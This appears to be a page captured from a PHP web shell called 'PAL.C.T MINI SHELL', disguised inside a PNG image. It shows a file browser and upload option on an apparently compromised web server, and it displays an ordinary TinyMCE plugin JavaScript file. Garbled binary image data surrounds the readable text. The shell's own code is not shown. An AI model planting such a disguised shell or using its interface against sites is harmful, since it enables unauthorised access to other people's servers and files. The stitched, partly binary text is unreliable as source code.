php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/b2b/tinymcpuk/jscripts/tiny_mce/plugins/xhtmlxtras/js/
upload
files >> //var/www/html/b2b/tinymcpuk/jscripts/tiny_mce/plugins/xhtmlxtras/js/element_common.js

/**

 * element_common.js

 *

 * Copyright 2009, Moxiecode Systems AB

 * Released under LGPL License.

 *

 * License: http://tinymce.moxiecode.com/license

 * Contributing: http://tinymce.moxiecode.com/contributing

 */



tinyMCEPopup.requireLangPack();



function initCommonAttributes(elm) {

	var formObj = document.forms[0], dom = tinyMCEPopup.editor.dom;



	// Setup form data for common element attributes

	setFormValue('title', dom.getAttrib(elm, 'title'));

	setFormValue('id', dom.getAttrib(elm, 'id'));

	selectByValue(formObj, 'class', dom.getAttrib(elm, 'class'), true);

	setFormValue('style', dom.getAttrib(elm, 'style'));

	selectByValue(formObj, 'dir', dom.getAttrib(elm, 'dir'));

	setFormValue('lang', dom.getAttrib(elm, 'lang'));

	setFormValue('onfocus', dom.getAttrib(elm, 'onfocus'));

	setFormValue('onblur', dom.getAttrib(elm, 'onblur'));

	setFormValue('onclick', dom.getAttrib(elm, 'onclick'));

	setFormValue('ondblclick', dom.getAttrib(elm, 'ondblclick'));

	setFormValue('onmousedown', dom.getAttrib(elm, 'onmousedown'));

	setFormValue('onmouseup', dom.getAttrib(elm, 'onmouseup'));

	setFormValue('onmouseover', dom.getAttrib(elm, 'onmouseover'));

	setFormValue('onmousemove', dom.getAttrib(elm, 'onmousemove'));

	setFormValue('onmouseout', dom.getAttrib(elm, 'onmouseout'));

	setFormValue('onkeypress', dom.getAttrib(elm, 'onkeypress'));

	setFormValue('onkeydown', dom.getAttrib(elm, 'onkeydown'));

	setFormValue('onkeyup', dom.getAttrib(elm, 'onkeyup'));

}



function setFormValue(name, value) {

	if(document.forms[0].elements[name]) document.forms[0].elements[name].value = value;

}



function insertDateTime(id) {

	document.getElementById(id).value = getDateTime(new Date(), "%Y-%m-%dT%H:%M:%S");

}



function getDateTime(d, fmt) {

	fmt = fmt.replace("%D", "%m/%d/%y");

	fmt = fmt.replace("%r", "%I:%M:%S %p");

	fmt = fmt.replace("%Y", "" + d.getFullYear());

	fmt = fmt.replace("%y", "" + d.getYear());

	fmt = fmt.replace("%m", addZeros(d.getMonth()+1, 2));

	fmt = fmt.replace("%d", addZeros(d.getDate(), 2));

	fmt = fmt.replace("%H", "" + addZeros(d.getHours(), 2));

	fmt = fmt.replace("%M", "" + addZeros(d.getMinutes(), 2));

	fmt = fmt.replace("%S", "" + addZeros(d.getSeconds(), 2));

	fmt = fmt.replace("%I", "" + ((d.getHours() + 11) % 12 + 1));

	fmt = fmt.replace("%p", "" + (d.getHours() < 12 ? "AM" : "PM"));

	fmt = fmt.replace("%%", "%");



	return fmt;

}



function addZeros(value, len) {

	var i;



	value = "" + value;



	if (value.length < len) {

		for (i=0; i<(len-value.length); i++)

			value = "0" + value;

	}



	return value;

}



function selectByValue(form_obj, field_name, value, add_custom, ignore_case) {

	if (!form_obj || !form_obj.elements[field_name])

		return;



	var sel = form_obj.elements[field_name];



	var found = false;

	for (var i=0; i<sel.options.length; i++) {

		var option = sel.options[i];



		if (option.value == value || (ignore_case && option.value.toLowerCase() == value.toLowerCase())) {

			option.selected = true;

			found = true;

		} else

			option.selected = false;

	}



	if (!found && add_custom && value != '') {

		var option = new Option('Value: ' + value, value);

		option.selected = true;

		sel.options[sel.options.length] = option;

	}



	return found;

}



function setAttrib(elm, attrib, value) {

	var formObj = document.forms[0];

	var valueElm = formObj.elements[attrib.toLowerCase()];

	tinyMCEPopup.editor.dom.setAttrib(elm, attrib, value || valueElm.value);

}



function setAllCommonAttribs(elm) {

	setAttrib(elm, 'title');

	setAttrib(elm, 'id');

	setAttrib(elm, 'class');

	setAttrib(elm, 'style');

	setAttrib(elm, 'dir');

	setAttrib(elm, 'lang');

	/*setAttrib(elm, 'onfocus');

	setAttrib(elm, 'onblur');

	setAttrib(elm, 'onclick');

	setAttrib(elm, 'ondblclick');

	setAttrib(elm, 'onmousedown');

	setAttrib(elm, 'onmouseup');

	setAttrib(elm, 'onmouseover');

	setAttrib(elm, 'onmousemove');

	setAttrib(elm, 'onmouseout');

	setAttrib(elm, 'onkeypress');

	setAttrib(elm, 'onkeydown');

	setAttrib(elm, 'onkeyup');*/

}



SXE = {

	currentAction : "insert",

	inst : tinyMCEPopup.editor,

	updateElement : null

}



SXE.focusElement = SXE.inst.selection.getNode();



SXE.initElementDialog = function(element_name) {

	addClassesToList('class', 'xhtmlxtras_styles');

	TinyMCE_EditableSelects.init();



	element_name = element_name.toLowerCase();

	var elm = SXE.inst.dom.getParent(SXE.focusElement, element_name.toUpperCase());

	if (elm != null && elm.nodeName.toUpperCase() == element_name.toUpperCase()) {

		SXE.currentAction = "update";

	}



	if (SXE.currentAction == "update") {

		initCommonAttributes(elm);

		SXE.updateElement = elm;

	}



	document.forms[0].insert.value = tinyMCEPopup.getLang(SXE.currentAction, 'Insert', true); 

}



SXE.insertElement = function(element_name) {

	var elm = SXE.inst.dom.getParent(SXE.focusElement, element_name.toUpperCase()), h, tagName;



	if (elm == null) {

		var s = SXE.inst.selection.getContent();

		if(s.length > 0) {

			tagName = element_name;



			insertInlineElement(element_name);

			var elementArray = tinymce.grep(SXE.inst.dom.select(element_name));

			for (var i=0; i<elementArray.length; i++) {

				var elm = elementArray[i];



				if (SXE.inst.dom.getAttrib(elm, 'data-mce-new')) {

					elm.id = '';

					elm.setAttribute('id', '');

					elm.removeAttribute('id');

					elm.removeAttribute('data-mce-new');



					setAllCommonAttribs(elm);

				}

			}

		}

	} else {

		setAllCommonAttribs(elm);

	}

	SXE.inst.nodeChanged();

	tinyMCEPopup.execCommand('mceEndUndoLevel');

}



SXE.removeElement = function(element_name){

	element_name = element_name.toLowerCase();

	elm = SXE.inst.dom.getParent(SXE.focusElement, element_name.toUpperCase());

	if(elm && elm.nodeName.toUpperCase() == element_name.toUpperCase()){

		tinyMCE.execCommand('mceRemoveNode', false, elm);

		SXE.inst.nodeChanged();

		tinyMCEPopup.execCommand('mceEndUndoLevel');

	}

}



SXE.showRemoveButton = function() {

		document.getElementById("remove").style.display = '';

}



SXE.containsClass = function(elm,cl) {

	return (elm.className.indexOf(cl) > -1) ? true : false;

}



SXE.removeClass = function(elm,cl) {

	if(elm.className == null || elm.className == "" || !SXE.containsClass(elm,cl)) {

		return true;

	}

	var classNames = elm.className.split(" ");

	var newClassNames = "";

	for (var x = 0, cnl = classNames.length; x < cnl; x++) {

		if (classNames[x] != cl) {

			newClassNames += (classNames[x] + " ");

		}

	}

	elm.className = newClassNames.substring(0,newClassNames.length-1); //removes extra space at the end

}



SXE.addClass = function(elm,cl) {

	if(!SXE.containsClass(elm,cl)) elm.className ? elm.className += " " + cl : elm.className = cl;

	return true;

}



function insertInlineElement(en) {

	var ed = tinyMCEPopup.editor, dom = ed.dom;



	ed.getDoc().execCommand('FontName', false, 'mceinline');

	tinymce.each(dom.select('span,font'), function(n) {

		if (n.style.fontFamily == 'mceinline' || n.face == 'mceinline')

			dom.replace(dom.create(en, {'data-mce-new' : 1}), n, 1);

	});

}

y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`